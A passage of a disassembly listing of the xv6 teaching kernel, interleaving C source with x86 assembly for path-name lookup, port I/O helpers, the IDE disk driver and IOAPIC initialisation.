8010234f: 8b 45 f4 mov -0xc(%ebp),%eax
80102352: 89 04 24 mov %eax,(%esp)
80102355: e8 88 f7 ff ff call 80101ae2 <iunlockput>
return 0;
8010235a: b8 00 00 00 00 mov $0x0,%eax
8010235f: e9 a3 00 00 00 jmp 80102407 <namex+0x115>
}
if(nameiparent && *path == '\0'){
80102364: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
80102368: 74 1d je 80102387 <namex+0x95>
8010236a: 8b 45 08 mov 0x8(%ebp),%eax
8010236d: 0f b6 00 movzbl (%eax),%eax
80102370: 84 c0 test %al,%al
80102372: 75 13 jne 80102387 <namex+0x95>
// Stop one level early.
iunlock(ip);
80102374: 8b 45 f4 mov -0xc(%ebp),%eax
80102377: 89 04 24 mov %eax,(%esp)
8010237a: e8 2d f6 ff ff call 801019ac <iunlock>
return ip;
8010237f: 8b 45 f4 mov -0xc(%ebp),%eax
80102382: e9 80 00 00 00 jmp 80102407 <namex+0x115>
}
if((next = dirlookup(ip, name, 0)) == 0){
80102387: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
8010238e: 00
8010238f: 8b 45 10 mov 0x10(%ebp),%eax
80102392: 89 44 24 04 mov %eax,0x4(%esp)
80102396: 8b 45 f4 mov -0xc(%ebp),%eax
80102399: 89 04 24 mov %eax,(%esp)
8010239c: e8 df fc ff ff call 80102080 <dirlookup>
801023a1: 89 45 f0 mov %eax,-0x10(%ebp)
801023a4: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
801023a8: 75 12 jne 801023bc <namex+0xca>
iunlockput(ip);
801023aa: 8b 45 f4 mov -0xc(%ebp),%eax
801023ad: 89 04 24 mov %eax,(%esp)
801023b0: e8 2d f7 ff ff call 80101ae2 <iunlockput>
return 0;
801023b5: b8 00 00 00 00 mov $0x0,%eax
801023ba: eb 4b jmp 80102407 <namex+0x115>
}
iunlockput(ip);
801023bc: 8b 45 f4 mov -0xc(%ebp),%eax
801023bf: 89 04 24 mov %eax,(%esp)
801023c2: e8 1b f7 ff ff call 80101ae2 <iunlockput>
ip = next;
801023c7: 8b 45 f0 mov -0x10(%ebp),%eax
801023ca: 89 45 f4 mov %eax,-0xc(%ebp)
if(*path == '/')
ip = iget(ROOTDEV, ROOTINO);
else
ip = idup(proc->cwd);
while((path = skipelem(path, name)) != 0){
801023cd: 8b 45 10 mov 0x10(%ebp),%eax
801023d0: 89 44 24 04 mov %eax,0x4(%esp)
801023d4: 8b 45 08 mov 0x8(%ebp),%eax
801023d7: 89 04 24 mov %eax,(%esp)
801023da: e8 61 fe ff ff call 80102240 <skipelem>
801023df: 89 45 08 mov %eax,0x8(%ebp)
801023e2: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
801023e6: 0f 85 4b ff ff ff jne 80102337 <namex+0x45>
return 0;
}
iunlockput(ip);
ip = next;
}
if(nameiparent){
801023ec: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
801023f0: 74 12 je 80102404 <namex+0x112>
iput(ip);
801023f2: 8b 45 f4 mov -0xc(%ebp),%eax
801023f5: 89 04 24 mov %eax,(%esp)
801023f8: e8 14 f6 ff ff call 80101a11 <iput>
return 0;
801023fd: b8 00 00 00 00 mov $0x0,%eax
80102402: eb 03 jmp 80102407 <namex+0x115>
}
return ip;
80102404: 8b 45 f4 mov -0xc(%ebp),%eax
}
80102407: c9 leave
80102408: c3 ret
80102409 <namei>:
struct inode*
namei(char *path)
{
80102409: 55 push %ebp
8010240a: 89 e5 mov %esp,%ebp
8010240c: 83 ec 28 sub $0x28,%esp
char name[DIRSIZ];
return namex(path, 0, name);
8010240f: 8d 45 ea lea -0x16(%ebp),%eax
80102412: 89 44 24 08 mov %eax,0x8(%esp)
80102416: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
8010241d: 00
8010241e: 8b 45 08 mov 0x8(%ebp),%eax
80102421: 89 04 24 mov %eax,(%esp)
80102424: e8 c9 fe ff ff call 801022f2 <namex>
}
80102429: c9 leave
8010242a: c3 ret
8010242b <nameiparent>:
struct inode*
nameiparent(char *path, char *name)
{
8010242b: 55 push %ebp
8010242c: 89 e5 mov %esp,%ebp
8010242e: 83 ec 18 sub $0x18,%esp
return namex(path, 1, name);
80102431: 8b 45 0c mov 0xc(%ebp),%eax
80102434: 89 44 24 08 mov %eax,0x8(%esp)
80102438: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
8010243f: 00
80102440: 8b 45 08 mov 0x8(%ebp),%eax
80102443: 89 04 24 mov %eax,(%esp)
80102446: e8 a7 fe ff ff call 801022f2 <namex>
}
8010244b: c9 leave
8010244c: c3 ret
8010244d: 66 90 xchg %ax,%ax
8010244f: 90 nop
80102450 <inb>:
// Routines to let C code use special x86 instructions.
static inline uchar
inb(ushort port)
{
80102450: 55 push %ebp
80102451: 89 e5 mov %esp,%ebp
80102453: 83 ec 14 sub $0x14,%esp
80102456: 8b 45 08 mov 0x8(%ebp),%eax
80102459: 66 89 45 ec mov %ax,-0x14(%ebp)
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
8010245d: 0f b7 45 ec movzwl -0x14(%ebp),%eax
80102461: 89 c2 mov %eax,%edx
80102463: ec in (%dx),%al
80102464: 88 45 ff mov %al,-0x1(%ebp)
return data;
80102467: 0f b6 45 ff movzbl -0x1(%ebp),%eax
}
8010246b: c9 leave
8010246c: c3 ret
8010246d <insl>:
static inline void
insl(int port, void *addr, int cnt)
{
8010246d: 55 push %ebp
8010246e: 89 e5 mov %esp,%ebp
80102470: 57 push %edi
80102471: 53 push %ebx
asm volatile("cld; rep insl" :
80102472: 8b 55 08 mov 0x8(%ebp),%edx
80102475: 8b 4d 0c mov 0xc(%ebp),%ecx
80102478: 8b 45 10 mov 0x10(%ebp),%eax
8010247b: 89 cb mov %ecx,%ebx
8010247d: 89 df mov %ebx,%edi
8010247f: 89 c1 mov %eax,%ecx
80102481: fc cld
80102482: f3 6d rep insl (%dx),%es:(%edi)
80102484: 89 c8 mov %ecx,%eax
80102486: 89 fb mov %edi,%ebx
80102488: 89 5d 0c mov %ebx,0xc(%ebp)
8010248b: 89 45 10 mov %eax,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"d" (port), "0" (addr), "1" (cnt) :
"memory", "cc");
}
8010248e: 5b pop %ebx
8010248f: 5f pop %edi
80102490: 5d pop %ebp
80102491: c3 ret
80102492 <outb>:
static inline void
outb(ushort port, uchar data)
{
80102492: 55 push %ebp
80102493: 89 e5 mov %esp,%ebp
80102495: 83 ec 08 sub $0x8,%esp
80102498: 8b 55 08 mov 0x8(%ebp),%edx
8010249b: 8b 45 0c mov 0xc(%ebp),%eax
8010249e: 66 89 55 fc mov %dx,-0x4(%ebp)
801024a2: 88 45 f8 mov %al,-0x8(%ebp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801024a5: 0f b6 45 f8 movzbl -0x8(%ebp),%eax
801024a9: 0f b7 55 fc movzwl -0x4(%ebp),%edx
801024ad: ee out %al,(%dx)
}
801024ae: c9 leave
801024af: c3 ret
801024b0 <outsl>:
asm volatile("out %0,%1" : : "a" (data), "d" (port));
}
static inline void
outsl(int port, const void *addr, int cnt)
{
801024b0: 55 push %ebp
801024b1: 89 e5 mov %esp,%ebp
801024b3: 56 push %esi
801024b4: 53 push %ebx
asm volatile("cld; rep outsl" :
801024b5: 8b 55 08 mov 0x8(%ebp),%edx
801024b8: 8b 4d 0c mov 0xc(%ebp),%ecx
801024bb: 8b 45 10 mov 0x10(%ebp),%eax
801024be: 89 cb mov %ecx,%ebx
801024c0: 89 de mov %ebx,%esi
801024c2: 89 c1 mov %eax,%ecx
801024c4: fc cld
801024c5: f3 6f rep outsl %ds:(%esi),(%dx)
801024c7: 89 c8 mov %ecx,%eax
801024c9: 89 f3 mov %esi,%ebx
801024cb: 89 5d 0c mov %ebx,0xc(%ebp)
801024ce: 89 45 10 mov %eax,0x10(%ebp)
"=S" (addr), "=c" (cnt) :
"d" (port), "0" (addr), "1" (cnt) :
"cc");
}
801024d1: 5b pop %ebx
801024d2: 5e pop %esi
801024d3: 5d pop %ebp
801024d4: c3 ret
801024d5 <idewait>:
static void idestart(struct buf*);
// Wait for IDE disk to become ready.
static int
idewait(int checkerr)
{
801024d5: 55 push %ebp
801024d6: 89 e5 mov %esp,%ebp
801024d8: 83 ec 14 sub $0x14,%esp
int r;
while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY)
801024db: 90 nop
801024dc: c7 04 24 f7 01 00 00 movl $0x1f7,(%esp)
801024e3: e8 68 ff ff ff call 80102450 <inb>
801024e8: 0f b6 c0 movzbl %al,%eax
801024eb: 89 45 fc mov %eax,-0x4(%ebp)
801024ee: 8b 45 fc mov -0x4(%ebp),%eax
801024f1: 25 c0 00 00 00 and $0xc0,%eax
801024f6: 83 f8 40 cmp $0x40,%eax
801024f9: 75 e1 jne 801024dc <idewait+0x7>
;
if(checkerr && (r & (IDE_DF|IDE_ERR)) != 0)
801024fb: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
801024ff: 74 11 je 80102512 <idewait+0x3d>
80102501: 8b 45 fc mov -0x4(%ebp),%eax
80102504: 83 e0 21 and $0x21,%eax
80102507: 85 c0 test %eax,%eax
80102509: 74 07 je 80102512 <idewait+0x3d>
return -1;
8010250b: b8 ff ff ff ff mov $0xffffffff,%eax
80102510: eb 05 jmp 80102517 <idewait+0x42>
return 0;
80102512: b8 00 00 00 00 mov $0x0,%eax
}
80102517: c9 leave
80102518: c3 ret
80102519 <ideinit>:
void
ideinit(void)
{
80102519: 55 push %ebp
8010251a: 89 e5 mov %esp,%ebp
8010251c: 83 ec 28 sub $0x28,%esp
int i;
initlock(&idelock, "ide");
8010251f: c7 44 24 04 e0 8a 10 movl $0x80108ae0,0x4(%esp)
80102526: 80
80102527: c7 04 24 20 c6 10 80 movl $0x8010c620,(%esp)
8010252e: e8 0f 2d 00 00 call 80105242 <initlock>
picenable(IRQ_IDE);
80102533: c7 04 24 0e 00 00 00 movl $0xe,(%esp)
8010253a: e8 86 18 00 00 call 80103dc5 <picenable>
ioapicenable(IRQ_IDE, ncpu - 1);
8010253f: a1 60 39 11 80 mov 0x80113960,%eax
80102544: 83 e8 01 sub $0x1,%eax
80102547: 89 44 24 04 mov %eax,0x4(%esp)
8010254b: c7 04 24 0e 00 00 00 movl $0xe,(%esp)
80102552: e8 0d 04 00 00 call 80102964 <ioapicenable>
idewait(0);
80102557: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8010255e: e8 72 ff ff ff call 801024d5 <idewait>
// Check if disk 1 is present
outb(0x1f6, 0xe0 | (1<<4));
80102563: c7 44 24 04 f0 00 00 movl $0xf0,0x4(%esp)
8010256a: 00
8010256b: c7 04 24 f6 01 00 00 movl $0x1f6,(%esp)
80102572: e8 1b ff ff ff call 80102492 <outb>
for(i=0; i<1000; i++){
80102577: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
8010257e: eb 20 jmp 801025a0 <ideinit+0x87>
if(inb(0x1f7) != 0){
80102580: c7 04 24 f7 01 00 00 movl $0x1f7,(%esp)
80102587: e8 c4 fe ff ff call 80102450 <inb>
8010258c: 84 c0 test %al,%al
8010258e: 74 0c je 8010259c <ideinit+0x83>
havedisk1 = 1;
80102590: c7 05 58 c6 10 80 01 movl $0x1,0x8010c658
80102597: 00 00 00
break;
8010259a: eb 0d jmp 801025a9 <ideinit+0x90>
ioapicenable(IRQ_IDE, ncpu - 1);
idewait(0);
// Check if disk 1 is present
outb(0x1f6, 0xe0 | (1<<4));
for(i=0; i<1000; i++){
8010259c: 83 45 f4 01 addl $0x1,-0xc(%ebp)
801025a0: 81 7d f4 e7 03 00 00 cmpl $0x3e7,-0xc(%ebp)
801025a7: 7e d7 jle 80102580 <ideinit+0x67>
break;
}
}
// Switch back to disk 0.
outb(0x1f6, 0xe0 | (0<<4));
801025a9: c7 44 24 04 e0 00 00 movl $0xe0,0x4(%esp)
801025b0: 00
801025b1: c7 04 24 f6 01 00 00 movl $0x1f6,(%esp)
801025b8: e8 d5 fe ff ff call 80102492 <outb>
}
801025bd: c9 leave
801025be: c3 ret
801025bf <idestart>:
// Start the request for b. Caller must hold idelock.
static void
idestart(struct buf *b)
{
801025bf: 55 push %ebp
801025c0: 89 e5 mov %esp,%ebp
801025c2: 83 ec 18 sub $0x18,%esp
if(b == 0)
801025c5: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
801025c9: 75 0c jne 801025d7 <idestart+0x18>
panic("idestart");
801025cb: c7 04 24 e4 8a 10 80 movl $0x80108ae4,(%esp)
801025d2: e8 63 df ff ff call 8010053a <panic>
idewait(0);
801025d7: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801025de: e8 f2 fe ff ff call 801024d5 <idewait>
outb(0x3f6, 0); // generate interrupt
801025e3: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
801025ea: 00
801025eb: c7 04 24 f6 03 00 00 movl $0x3f6,(%esp)
801025f2: e8 9b fe ff ff call 80102492 <outb>
outb(0x1f2, 1); // number of sectors
801025f7: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
801025fe: 00
801025ff: c7 04 24 f2 01 00 00 movl $0x1f2,(%esp)
80102606: e8 87 fe ff ff call 80102492 <outb>
outb(0x1f3, b->sector & 0xff);
8010260b: 8b 45 08 mov 0x8(%ebp),%eax
8010260e: 8b 40 08 mov 0x8(%eax),%eax
80102611: 0f b6 c0 movzbl %al,%eax
80102614: 89 44 24 04 mov %eax,0x4(%esp)
80102618: c7 04 24 f3 01 00 00 movl $0x1f3,(%esp)
8010261f: e8 6e fe ff ff call 80102492 <outb>
outb(0x1f4, (b->sector >> 8) & 0xff);
80102624: 8b 45 08 mov 0x8(%ebp),%eax
80102627: 8b 40 08 mov 0x8(%eax),%eax
8010262a: c1 e8 08 shr $0x8,%eax
8010262d: 0f b6 c0 movzbl %al,%eax
80102630: 89 44 24 04 mov %eax,0x4(%esp)
80102634: c7 04 24 f4 01 00 00 movl $0x1f4,(%esp)
8010263b: e8 52 fe ff ff call 80102492 <outb>
outb(0x1f5, (b->sector >> 16) & 0xff);
80102640: 8b 45 08 mov 0x8(%ebp),%eax
80102643: 8b 40 08 mov 0x8(%eax),%eax
80102646: c1 e8 10 shr $0x10,%eax
80102649: 0f b6 c0 movzbl %al,%eax
8010264c: 89 44 24 04 mov %eax,0x4(%esp)
80102650: c7 04 24 f5 01 00 00 movl $0x1f5,(%esp)
80102657: e8 36 fe ff ff call 80102492 <outb>
outb(0x1f6, 0xe0 | ((b->dev&1)<<4) | ((b->sector>>24)&0x0f));
8010265c: 8b 45 08 mov 0x8(%ebp),%eax
8010265f: 8b 40 04 mov 0x4(%eax),%eax
80102662: 83 e0 01 and $0x1,%eax
80102665: c1 e0 04 shl $0x4,%eax
80102668: 89 c2 mov %eax,%edx
8010266a: 8b 45 08 mov 0x8(%ebp),%eax
8010266d: 8b 40 08 mov 0x8(%eax),%eax
80102670: c1 e8 18 shr $0x18,%eax
80102673: 83 e0 0f and $0xf,%eax
80102676: 09 d0 or %edx,%eax
80102678: 83 c8 e0 or $0xffffffe0,%eax
8010267b: 0f b6 c0 movzbl %al,%eax
8010267e: 89 44 24 04 mov %eax,0x4(%esp)
80102682: c7 04 24 f6 01 00 00 movl $0x1f6,(%esp)
80102689: e8 04 fe ff ff call 80102492 <outb>
if(b->flags & B_DIRTY){
8010268e: 8b 45 08 mov 0x8(%ebp),%eax
80102691: 8b 00 mov (%eax),%eax
80102693: 83 e0 04 and $0x4,%eax
80102696: 85 c0 test %eax,%eax
80102698: 74 34 je 801026ce <idestart+0x10f>
outb(0x1f7, IDE_CMD_WRITE);
8010269a: c7 44 24 04 30 00 00 movl $0x30,0x4(%esp)
801026a1: 00
801026a2: c7 04 24 f7 01 00 00 movl $0x1f7,(%esp)
801026a9: e8 e4 fd ff ff call 80102492 <outb>
outsl(0x1f0, b->data, 512/4);
801026ae: 8b 45 08 mov 0x8(%ebp),%eax
801026b1: 83 c0 18 add $0x18,%eax
801026b4: c7 44 24 08 80 00 00 movl $0x80,0x8(%esp)
801026bb: 00
801026bc: 89 44 24 04 mov %eax,0x4(%esp)
801026c0: c7 04 24 f0 01 00 00 movl $0x1f0,(%esp)
801026c7: e8 e4 fd ff ff call 801024b0 <outsl>
801026cc: eb 14 jmp 801026e2 <idestart+0x123>
} else {
outb(0x1f7, IDE_CMD_READ);
801026ce: c7 44 24 04 20 00 00 movl $0x20,0x4(%esp)
801026d5: 00
801026d6: c7 04 24 f7 01 00 00 movl $0x1f7,(%esp)
801026dd: e8 b0 fd ff ff call 80102492 <outb>
}
}
801026e2: c9 leave
801026e3: c3 ret
801026e4 <ideintr>:
// Interrupt handler.
void
ideintr(void)
{
801026e4: 55 push %ebp
801026e5: 89 e5 mov %esp,%ebp
801026e7: 83 ec 28 sub $0x28,%esp
struct buf *b;
// First queued buffer is the active request.
acquire(&idelock);
801026ea: c7 04 24 20 c6 10 80 movl $0x8010c620,(%esp)
801026f1: e8 6d 2b 00 00 call 80105263 <acquire>
if((b = idequeue) == 0){
801026f6: a1 54 c6 10 80 mov 0x8010c654,%eax
801026fb: 89 45 f4 mov %eax,-0xc(%ebp)
801026fe: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80102702: 75 11 jne 80102715 <ideintr+0x31>
release(&idelock);
80102704: c7 04 24 20 c6 10 80 movl $0x8010c620,(%esp)
8010270b: e8 b5 2b 00 00 call 801052c5 <release>
// cprintf("spurious IDE interrupt\n");
return;
80102710: e9 90 00 00 00 jmp 801027a5 <ideintr+0xc1>
}
idequeue = b->qnext;
80102715: 8b 45 f4 mov -0xc(%ebp),%eax
80102718: 8b 40 14 mov 0x14(%eax),%eax
8010271b: a3 54 c6 10 80 mov %eax,0x8010c654
// Read data if needed.
if(!(b->flags & B_DIRTY) && idewait(1) >= 0)
80102720: 8b 45 f4 mov -0xc(%ebp),%eax
80102723: 8b 00 mov (%eax),%eax
80102725: 83 e0 04 and $0x4,%eax
80102728: 85 c0 test %eax,%eax
8010272a: 75 2e jne 8010275a <ideintr+0x76>
8010272c: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80102733: e8 9d fd ff ff call 801024d5 <idewait>
80102738: 85 c0 test %eax,%eax
8010273a: 78 1e js 8010275a <ideintr+0x76>
insl(0x1f0, b->data, 512/4);
8010273c: 8b 45 f4 mov -0xc(%ebp),%eax
8010273f: 83 c0 18 add $0x18,%eax
80102742: c7 44 24 08 80 00 00 movl $0x80,0x8(%esp)
80102749: 00
8010274a: 89 44 24 04 mov %eax,0x4(%esp)
8010274e: c7 04 24 f0 01 00 00 movl $0x1f0,(%esp)
80102755: e8 13 fd ff ff call 8010246d <insl>
// Wake process waiting for this buf.
b->flags |= B_VALID;
8010275a: 8b 45 f4 mov -0xc(%ebp),%eax
8010275d: 8b 00 mov (%eax),%eax
8010275f: 83 c8 02 or $0x2,%eax
80102762: 89 c2 mov %eax,%edx
80102764: 8b 45 f4 mov -0xc(%ebp),%eax
80102767: 89 10 mov %edx,(%eax)
b->flags &= ~B_DIRTY;
80102769: 8b 45 f4 mov -0xc(%ebp),%eax
8010276c: 8b 00 mov (%eax),%eax
8010276e: 83 e0 fb and $0xfffffffb,%eax
80102771: 89 c2 mov %eax,%edx
80102773: 8b 45 f4 mov -0xc(%ebp),%eax
80102776: 89 10 mov %edx,(%eax)
wakeup(b);
80102778: 8b 45 f4 mov -0xc(%ebp),%eax
8010277b: 89 04 24 mov %eax,(%esp)
8010277e: e8 e7 28 00 00 call 8010506a <wakeup>
// Start disk on next buf in queue.
if(idequeue != 0)
80102783: a1 54 c6 10 80 mov 0x8010c654,%eax
80102788: 85 c0 test %eax,%eax
8010278a: 74 0d je 80102799 <ideintr+0xb5>
idestart(idequeue);
8010278c: a1 54 c6 10 80 mov 0x8010c654,%eax
80102791: 89 04 24 mov %eax,(%esp)
80102794: e8 26 fe ff ff call 801025bf <idestart>
release(&idelock);
80102799: c7 04 24 20 c6 10 80 movl $0x8010c620,(%esp)
801027a0: e8 20 2b 00 00 call 801052c5 <release>
}
801027a5: c9 leave
801027a6: c3 ret
801027a7 <iderw>:
// Sync buf with disk.
// If B_DIRTY is set, write buf to disk, clear B_DIRTY, set B_VALID.
// Else if B_VALID is not set, read buf from disk, set B_VALID.
void
iderw(struct buf *b)
{
801027a7: 55 push %ebp
801027a8: 89 e5 mov %esp,%ebp
801027aa: 83 ec 28 sub $0x28,%esp
struct buf **pp;
if(!(b->flags & B_BUSY))
801027ad: 8b 45 08 mov 0x8(%ebp),%eax
801027b0: 8b 00 mov (%eax),%eax
801027b2: 83 e0 01 and $0x1,%eax
801027b5: 85 c0 test %eax,%eax
801027b7: 75 0c jne 801027c5 <iderw+0x1e>
panic("iderw: buf not busy");
801027b9: c7 04 24 ed 8a 10 80 movl $0x80108aed,(%esp)
801027c0: e8 75 dd ff ff call 8010053a <panic>
if((b->flags & (B_VALID|B_DIRTY)) == B_VALID)
801027c5: 8b 45 08 mov 0x8(%ebp),%eax
801027c8: 8b 00 mov (%eax),%eax
801027ca: 83 e0 06 and $0x6,%eax
801027cd: 83 f8 02 cmp $0x2,%eax
801027d0: 75 0c jne 801027de <iderw+0x37>
panic("iderw: nothing to do");
801027d2: c7 04 24 01 8b 10 80 movl $0x80108b01,(%esp)
801027d9: e8 5c dd ff ff call 8010053a <panic>
if(b->dev != 0 && !havedisk1)
801027de: 8b 45 08 mov 0x8(%ebp),%eax
801027e1: 8b 40 04 mov 0x4(%eax),%eax
801027e4: 85 c0 test %eax,%eax
801027e6: 74 15 je 801027fd <iderw+0x56>
801027e8: a1 58 c6 10 80 mov 0x8010c658,%eax
801027ed: 85 c0 test %eax,%eax
801027ef: 75 0c jne 801027fd <iderw+0x56>
panic("iderw: ide disk 1 not present");
801027f1: c7 04 24 16 8b 10 80 movl $0x80108b16,(%esp)
801027f8: e8 3d dd ff ff call 8010053a <panic>
acquire(&idelock); //DOC:acquire-lock
801027fd: c7 04 24 20 c6 10 80 movl $0x8010c620,(%esp)
80102804: e8 5a 2a 00 00 call 80105263 <acquire>
// Append b to idequeue.
b->qnext = 0;
80102809: 8b 45 08 mov 0x8(%ebp),%eax
8010280c: c7 40 14 00 00 00 00 movl $0x0,0x14(%eax)
for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue
80102813: c7 45 f4 54 c6 10 80 movl $0x8010c654,-0xc(%ebp)
8010281a: eb 0b jmp 80102827 <iderw+0x80>
8010281c: 8b 45 f4 mov -0xc(%ebp),%eax
8010281f: 8b 00 mov (%eax),%eax
80102821: 83 c0 14 add $0x14,%eax
80102824: 89 45 f4 mov %eax,-0xc(%ebp)
80102827: 8b 45 f4 mov -0xc(%ebp),%eax
8010282a: 8b 00 mov (%eax),%eax
8010282c: 85 c0 test %eax,%eax
8010282e: 75 ec jne 8010281c <iderw+0x75>
;
*pp = b;
80102830: 8b 45 f4 mov -0xc(%ebp),%eax
80102833: 8b 55 08 mov 0x8(%ebp),%edx
80102836: 89 10 mov %edx,(%eax)
// Start disk if necessary.
if(idequeue == b)
80102838: a1 54 c6 10 80 mov 0x8010c654,%eax
8010283d: 3b 45 08 cmp 0x8(%ebp),%eax
80102840: 75 0d jne 8010284f <iderw+0xa8>
idestart(b);
80102842: 8b 45 08 mov 0x8(%ebp),%eax
80102845: 89 04 24 mov %eax,(%esp)
80102848: e8 72 fd ff ff call 801025bf <idestart>
// Wait for request to finish.
while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){
8010284d: eb 15 jmp 80102864 <iderw+0xbd>
8010284f: eb 13 jmp 80102864 <iderw+0xbd>
sleep(b, &idelock);
80102851: c7 44 24 04 20 c6 10 movl $0x8010c620,0x4(%esp)
80102858: 80
80102859: 8b 45 08 mov 0x8(%ebp),%eax
8010285c: 89 04 24 mov %eax,(%esp)
8010285f: e8 2a 27 00 00 call 80104f8e <sleep>
// Start disk if necessary.
if(idequeue == b)
idestart(b);
// Wait for request to finish.
while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){
80102864: 8b 45 08 mov 0x8(%ebp),%eax
80102867: 8b 00 mov (%eax),%eax
80102869: 83 e0 06 and $0x6,%eax
8010286c: 83 f8 02 cmp $0x2,%eax
8010286f: 75 e0 jne 80102851 <iderw+0xaa>
sleep(b, &idelock);
}
release(&idelock);
80102871: c7 04 24 20 c6 10 80 movl $0x8010c620,(%esp)
80102878: e8 48 2a 00 00 call 801052c5 <release>
}
8010287d: c9 leave
8010287e: c3 ret
8010287f: 90 nop
80102880 <ioapicread>:
uint data;
};
static uint
ioapicread(int reg)
{
80102880: 55 push %ebp
80102881: 89 e5 mov %esp,%ebp
ioapic->reg = reg;
80102883: a1 34 32 11 80 mov 0x80113234,%eax
80102888: 8b 55 08 mov 0x8(%ebp),%edx
8010288b: 89 10 mov %edx,(%eax)
return ioapic->data;
8010288d: a1 34 32 11 80 mov 0x80113234,%eax
80102892: 8b 40 10 mov 0x10(%eax),%eax
}
80102895: 5d pop %ebp
80102896: c3 ret
80102897 <ioapicwrite>:
static void
ioapicwrite(int reg, uint data)
{
80102897: 55 push %ebp
80102898: 89 e5 mov %esp,%ebp
ioapic->reg = reg;
8010289a: a1 34 32 11 80 mov 0x80113234,%eax
8010289f: 8b 55 08 mov 0x8(%ebp),%edx
801028a2: 89 10 mov %edx,(%eax)
ioapic->data = data;
801028a4: a1 34 32 11 80 mov 0x80113234,%eax
801028a9: 8b 55 0c mov 0xc(%ebp),%edx
801028ac: 89 50 10 mov %edx,0x10(%eax)
}
801028af: 5d pop %ebp
801028b0: c3 ret
801028b1 <ioapicinit>:
void
ioapicinit(void)
{
801028b1: 55 push %ebp
801028b2: 89 e5 mov %esp,%ebp
801028b4: 83 ec 28 sub $0x28,%esp
int i, id, maxintr;
if(!ismp)
801028b7: a1 64 33 11 80 mov 0x80113364,%eax
801028bc: 85 c0 test %eax,%eax
801028be: 75 05 jne 801028c5 <ioapicinit+0x14>
return;
801028c0: e9 9d 00 00 00 jmp 80102962 <ioapicinit+0xb1>
ioapic = (volatile struct ioapic*)IOAPIC;
801028c5: c7 05 34 32 11 80 00 movl $0xfec00000,0x80113234
801028cc: 00 c0 fe
maxintr = (ioapicread(REG_VER) >> 16) & 0xFF;
801028cf: c7 04 24 01 00 00 00 movl $0x1,(%esp)
801028d6: e8 a5 ff ff ff call 80102880 <ioapicread>
801028db: c1 e8 10 shr $0x10,%eax
801028de: 25 ff 00 00 00 and $0xff,%eax
801028e3: 89 45 f0 mov %eax,-0x10(%ebp)
id = ioapicread(REG_ID) >> 24;
801028e6: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801028ed: e8 8e ff ff ff call 80102880 <ioapicread>
801028f2: c1 e8 18 shr $0x18,%eax
801028f5: 89 45 ec mov %eax,-0x14(%ebp)
if(id != ioapicid)
801028f8: 0f b6 05 60 33 11 80 movzbl 0x80113360,%eax
801028ff: 0f b6 c0 movzbl %al,%eax
80102902: 3b 45 ec cmp -0x14(%ebp),%eax
80102905: 74 0c je 80102913 <ioapicinit+0x62>
cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n");
80102907: c7 04 24 34 8b 10 80 movl $0x80108b34,(%esp)
8010290e: e8 8d da ff ff call 801003a0 <cprintf>
// Mark all interrupts edge-triggered, active high, disabled,
// and not routed to any CPUs.
for(i = 0; i <= maxintr; i++){
80102913: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
8010291a: eb 3e jmp 8010295a <ioapicinit+0xa9>
ioapicwrite(REG_TABLE+2*i, INT_DISABLED | (T_IRQ0 + i));
8010291c: 8b 45 f4 mov -0xc(%ebp),%eax
8010291f: 83 c0 20 add $0x20,%eax
80102922: 0d 00 00 01 00 or $0x10000,%eax
80102927: 8b 55 f4 mov -0xc(%ebp),%edx
8010292a: 83 c2 08 add $0x8,%edx
8010292d: 01 d2 add %edx,%edx
8010292f: 89 44 24 04 mov %eax,0x4(%esp)
80102933: 89 14 24 mov %edx,(%esp)
80102936: e8 5c ff ff ff call 80102897 <ioapicwrite>
ioapicwrite(REG_TABLE+2*i+1, 0);
8010293b: 8b 45 f4 mov -0xc(%ebp),%eax
8010293e: 83 c0 08 add $0x8,%eax
80102941: 01 c0 add %eax,%eax
80102943: 83 c0 01 add $0x1,%eax
80102946: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
8010294d: 00
8010294e: 89 04 24 mov %eax,(%esp)
80102951: e8 41 ff ff ff call 80102897 <ioapicwrite>
if(id != ioapicid)
cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n");
// Mark all interrupts edge-triggered, active high, disabled,
// and not routed to any CPUs.
for(i = 0; i <= maxintr; i++){
80102956: 83 45 f4 01 addl $0x1,-0xc(%ebp)
8010295a: 8b 45 f4 mov -0xc(%ebp),%eax
8010295d: 3b 45 f0 cmp -0x10(%ebp),%eax
80102960: 7e ba jle 8010291c <ioapicinit+0x6b>
ioapicwrite(REG_TABLE+2*i, INT_DISABLED | (T_IRQ0 + i));
ioapicwrite(REG_TABLE+2*i+1, 0);
}
}
80102962: c9 leave
80102963: c3 ret
80102964 <ioapicenable>:
void
ioapicenable(int irq, int cpunum)
{
80102964: 55 push %ebp
80102965: 89 e5 mov %esp,%ebp
80102967: 83 ec 08 sub $0x8,%esp
if(!ismp)
8010296a: a1 64 33 11 80 mov 0x80113364,%eax
8010296f: 85 c0 test %eax,%eax
80102971: 75 02 jne 80102975 <ioapicenable+0x11>
return;
80102973: eb 37 jmp 801029ac <ioapicenable+0x48>
// Mark interrupt edge-triggered, active high,
// enabled, and routed to the given cpunum,
// which happens to be that cpu's APIC ID.
